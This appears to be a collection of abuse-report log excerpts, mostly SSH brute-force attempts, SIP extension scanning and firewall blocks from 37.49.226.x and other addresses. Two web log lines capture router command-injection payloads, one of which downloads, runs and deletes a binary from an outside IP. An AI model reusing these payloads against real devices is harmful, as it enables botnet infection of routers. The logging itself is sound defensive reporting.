May 26 10:45:07 jane sshd[14201]: Failed password for root from 37.49.226.211 port 48012 ssh2
...

2020-05-25T21:22:11.132267rocketchat.forhosting.nl sshd[12016]: Failed password for root from 37.49.226.211 port 41526 ssh2
2020-05-25T21:22:23.896376rocketchat.forhosting.nl sshd[12018]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.211  user=root
2020-05-25T21:22:25.910987rocketchat.forhosting.nl sshd[12018]: Failed password for root from 37.49.226.211 port 55176 ssh2
...

SSH Brute-Force reported by Fail2Ban

May 20 20:13:27 *host* sshd\[1483\]: Unable to negotiate with 37.49.226.211 port 55488: no matching key exchange method found. Their offer: diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1 \[preauth\]

May 15 **REMOVED** sshd\[3525\]: Invalid user user from 37.49.226.211
May 15 **REMOVED** sshd\[3529\]: Invalid user postgres from 37.49.226.211
May 15 **REMOVED** sshd\[3531\]: Invalid user oracle from 37.49.226.211

prod6
...

May 14 00:14:53 srv01 sshd[24687]: Did not receive identification string from 37.49.226.211 port 58092
May 14 00:15:09 srv01 sshd[24705]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.211  user=root
May 14 00:15:12 srv01 sshd[24705]: Failed password for root from 37.49.226.211 port 49942 ssh2
May 14 00:15:23 srv01 sshd[24717]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.211  user=root
May 14 00:15:25 srv01 sshd[24717]: Failed password for root from 37.49.226.211 port 47262 ssh2
...

May  9 22:03:31 mellenthin sshd[30658]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.211  user=root
May  9 22:03:33 mellenthin sshd[30658]: Failed password for invalid user root from 37.49.226.211 port 58992 ssh2

May  9 00:35:41 server2 sshd\[8327\]: User root from 37.49.226.211 not allowed because not listed in AllowUsers
May  9 00:35:54 server2 sshd\[8333\]: User root from 37.49.226.211 not allowed because not listed in AllowUsers
May  9 00:36:08 server2 sshd\[8358\]: User root from 37.49.226.211 not allowed because not listed in AllowUsers
May  9 00:36:20 server2 sshd\[8366\]: User root from 37.49.226.211 not allowed because not listed in AllowUsers
May  9 00:36:32 server2 sshd\[8371\]: User root from 37.49.226.211 not allowed because not listed in AllowUsers
May  9 00:36:44 server2 sshd\[8376\]: User root from 37.49.226.211 not allowed because not listed in AllowUsers

May  8 12:26:25 ift sshd\[59615\]: Failed password for root from 37.49.226.211 port 57638 ssh2May  8 12:26:36 ift sshd\[59623\]: Failed password for root from 37.49.226.211 port 54596 ssh2May  8 12:26:48 ift sshd\[59625\]: Failed password for root from 37.49.226.211 port 51554 ssh2May  8 12:26:59 ift sshd\[59630\]: Failed password for root from 37.49.226.211 port 48700 ssh2May  8 12:27:10 ift sshd\[59632\]: Failed password for root from 37.49.226.211 port 45508 ssh2
...

SSH brute-force attempt

$f2bV_matches

SSH bruteforce

May  4 05:58:45 MainVPS sshd[13949]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.211  user=root
May  4 05:58:48 MainVPS sshd[13949]: Failed password for root from 37.49.226.211 port 52864 ssh2
May  4 05:58:58 MainVPS sshd[14248]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.211  user=root
May  4 05:59:01 MainVPS sshd[14248]: Failed password for root from 37.49.226.211 port 49618 ssh2
May  4 05:59:11 MainVPS sshd[14340]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.211  user=root
May  4 05:59:13 MainVPS sshd[14340]: Failed password for root from 37.49.226.211 port 46386 ssh2
...

2020-05-03T23:47:22.836137mail.broermann.family sshd[8683]: Failed password for root from 37.49.226.211 port 60490 ssh2
2020-05-03T23:47:32.475166mail.broermann.family sshd[8686]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.211  user=root
2020-05-03T23:47:34.346138mail.broermann.family sshd[8686]: Failed password for root from 37.49.226.211 port 60686 ssh2
2020-05-03T23:47:43.980560mail.broermann.family sshd[8689]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.211  user=root
2020-05-03T23:47:45.695704mail.broermann.family sshd[8689]: Failed password for root from 37.49.226.211 port 60936 ssh2
...

May  3 20:55:21 tor-proxy-02 sshd\[5619\]: User root from 37.49.226.211 not allowed because not listed in AllowUsers
May  3 20:55:32 tor-proxy-02 sshd\[5621\]: Invalid user admin from 37.49.226.211 port 33044
May  3 20:55:44 tor-proxy-02 sshd\[5627\]: Invalid user ubuntu from 37.49.226.211 port 59116
...

May  3 07:50:17 ip-172-31-61-156 sshd[12837]: Invalid user admin from 37.49.226.211
May  3 07:50:20 ip-172-31-61-156 sshd[12837]: Failed password for invalid user admin from 37.49.226.211 port 34928 ssh2
May  3 07:50:31 ip-172-31-61-156 sshd[12852]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.211  user=ubuntu
May  3 07:50:33 ip-172-31-61-156 sshd[12852]: Failed password for ubuntu from 37.49.226.211 port 36358 ssh2
May  3 07:50:43 ip-172-31-61-156 sshd[12861]: Invalid user oracle from 37.49.226.211
...

May  2 00:49:55 master sshd[23723]: Did not receive identification string from 37.49.226.211
May  2 00:50:11 master sshd[23724]: Failed password for root from 37.49.226.211 port 51612 ssh2
May  2 00:50:22 master sshd[23726]: Failed password for invalid user admin from 37.49.226.211 port 53054 ssh2
May  2 00:50:35 master sshd[23728]: Failed password for invalid user ubuntu from 37.49.226.211 port 54520 ssh2
May  2 00:50:48 master sshd[23730]: Failed password for invalid user oracle from 37.49.226.211 port 55974 ssh2
May  2 00:51:01 master sshd[23732]: Failed password for invalid user test from 37.49.226.211 port 57424 ssh2
May  2 00:51:13 master sshd[23734]: Failed password for invalid user guest from 37.49.226.211 port 58884 ssh2
May  2 00:51:27 master sshd[23736]: Failed password for root from 37.49.226.211 port 60344 ssh2
May  2 00:51:37 master sshd[23738]: Failed password for invalid user oracle from 37.49.226.211 port 33556 ssh2

TCP ports : 465 / 587

TCP ports : 465 / 587

[2020-07-24 06:05:37] NOTICE[1277][C-00002857] chan_sip.c: Call from '' (37.49.226.39:61946) to extension '971441144630017' rejected because extension not found in context 'public'.
[2020-07-24 06:05:37] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-24T06:05:37.251-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="971441144630017",SessionID="0x7f1754318b48",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.39/61946",ACLName="no_extension_match"
[2020-07-24 06:06:27] NOTICE[1277][C-00002859] chan_sip.c: Call from '' (37.49.226.39:57469) to extension '9710441144630017' rejected because extension not found in context 'public'.
[2020-07-24 06:06:27] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-24T06:06:27.162-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="9710441144630017",SessionID="0x7f1754742008",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/3
...

[2020-07-23 02:28:17] NOTICE[1277][C-00002114] chan_sip.c: Call from '' (37.49.226.41:56352) to extension '199441274066041' rejected because extension not found in context 'public'.
[2020-07-23 02:28:17] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-23T02:28:17.484-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="199441274066041",SessionID="0x7f175452b198",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.41/56352",ACLName="no_extension_match"
[2020-07-23 02:29:44] NOTICE[1277][C-00002115] chan_sip.c: Call from '' (37.49.226.41:56115) to extension '199810441274066041' rejected because extension not found in context 'public'.
[2020-07-23 02:29:44] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-23T02:29:44.136-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="199810441274066041",SessionID="0x7f1754694fe8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/U
...

[-]:80 37.49.226.35 - - [16/Jul/2020:13:54:39 +0200] "POST /boaform/admin/formPing?target_addr=;'+payload+'%20/&waninf=1_INTERNET_R_VID_154 HTTP/1.1" 301 631 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.30.2.el6.x86_64"

37.49.226.35 - - [15/Jul/2020:05:16:28 -0500] "GET https://www.ad5gb.com/setup.cgi?next_file=afr.cfg&todo=syscmd&cmd=wget%20http://45.95.168.230/bins/Meth.mips%20-O%20/var/tmp/Meth.mips;%20chmod%20777%20/var/tmp/Meth.mips;%20/var/tmp/Meth.mips%20africo.exploit;%20rm%20-rf%20/var/tmp/Meth.mips&curpath=/¤tsetting.htm=1 HTTP/1.1" 400 346 400 346 0 0 452 416 605 295 0 DIRECT FIN FIN TCP_MISS

firewall-block, port(s): 5683/udp

Unauthorized connection attempt detected from IP address 37.49.226.4 to port 81

[2020-07-04 01:01:24] NOTICE[1197][C-00001132] chan_sip.c: Call from '' (37.49.226.37:49525) to extension '000442894548765' rejected because extension not found in context 'public'.
[2020-07-04 01:01:24] SECURITY[1214] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-04T01:01:24.282-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="000442894548765",SessionID="0x7f6d28136c98",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.37/49525",ACLName="no_extension_match"
[2020-07-04 01:04:58] NOTICE[1197][C-00001138] chan_sip.c: Call from '' (37.49.226.37:61836) to extension '000442894548765' rejected because extension not found in context 'public'.
[2020-07-04 01:04:58] SECURITY[1214] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-04T01:04:58.923-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="000442894548765",SessionID="0x7f6d288c4af8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.
...

 TCP (SYN) 37.49.226.4:58116 -> port 81, len 44

firewall-block, port(s): 81/tcp

 TCP (SYN) 37.49.226.4:43452 -> port 81, len 44

Unauthorized connection attempt detected from IP address 37.49.226.227 to port 23 [T]

Unauthorized connection attempt detected from IP address 37.49.226.208 to port 23

Unauthorized connection attempt detected from IP address 37.49.226.208 to port 23

2019-07-25T17:57:43.539687abusebot-6.cloudsearch.cf sshd\[16891\]: Invalid user sales1 from 153.135.156.119 port 58040

WordPress login Brute force / Web App Attack on client site.

Jul 25 19:33:03 vps691689 sshd[16743]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=212.64.14.175
Jul 25 19:33:06 vps691689 sshd[16743]: Failed password for invalid user chang from 212.64.14.175 port 32876 ssh2
...

Jul 25 14:13:46 plusreed sshd[9571]: Invalid user francois from 189.4.1.12
...

Jul 25 17:53:30  postfix/smtpd: warning: Dell860-544.rapidns.com[66.7.148.40]: SASL LOGIN authentication failed

Jul 25 19:47:24 MK-Soft-Root2 sshd\[12100\]: Invalid user patrice from 111.85.182.44 port 36898
Jul 25 19:47:24 MK-Soft-Root2 sshd\[12100\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=111.85.182.44
Jul 25 19:47:27 MK-Soft-Root2 sshd\[12100\]: Failed password for invalid user patrice from 111.85.182.44 port 36898 ssh2
...

xmlrpc attack

Jul 25 14:21:01 debian sshd\[12738\]: Invalid user ubuntu from 196.203.31.154 port 54382
Jul 25 14:21:01 debian sshd\[12738\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=196.203.31.154
Jul 25 14:21:03 debian sshd\[12738\]: Failed password for invalid user ubuntu from 196.203.31.154 port 54382 ssh2
...

Jul 25 20:07:34 giegler sshd[23103]: Invalid user ek from 182.72.139.6 port 37204

Jul 25 20:39:59 vmd17057 sshd\[10910\]: Invalid user usuario from 148.70.232.143 port 44554
Jul 25 20:39:59 vmd17057 sshd\[10910\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=148.70.232.143
Jul 25 20:40:00 vmd17057 sshd\[10910\]: Failed password for invalid user usuario from 148.70.232.143 port 44554 ssh2
...

Jul 25 14:18:35 plusreed sshd[11843]: Invalid user git from 139.59.191.22
...

SSH Brute Force, server-1 sshd[27199]: Failed password for invalid user spider from 203.142.81.114 port 40622 ssh2

Jul 25 12:33:39   TCP Attack: SRC=54.146.177.55 DST=[Masked] LEN=250 TOS=0x00 PREC=0x00 TTL=235  DF PROTO=TCP SPT=56668 DPT=80 WINDOW=913 RES=0x00 ACK PSH URGP=0

Jul 25 17:43:08 MK-Soft-VM7 sshd\[10374\]: Invalid user stevan from 103.245.181.2 port 43825
Jul 25 17:43:08 MK-Soft-VM7 sshd\[10374\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=103.245.181.2
Jul 25 17:43:10 MK-Soft-VM7 sshd\[10374\]: Failed password for invalid user stevan from 103.245.181.2 port 43825 ssh2
...

Jul 25 18:14:00 XXXXXX sshd[47822]: Invalid user admin from 193.32.163.182 port 56226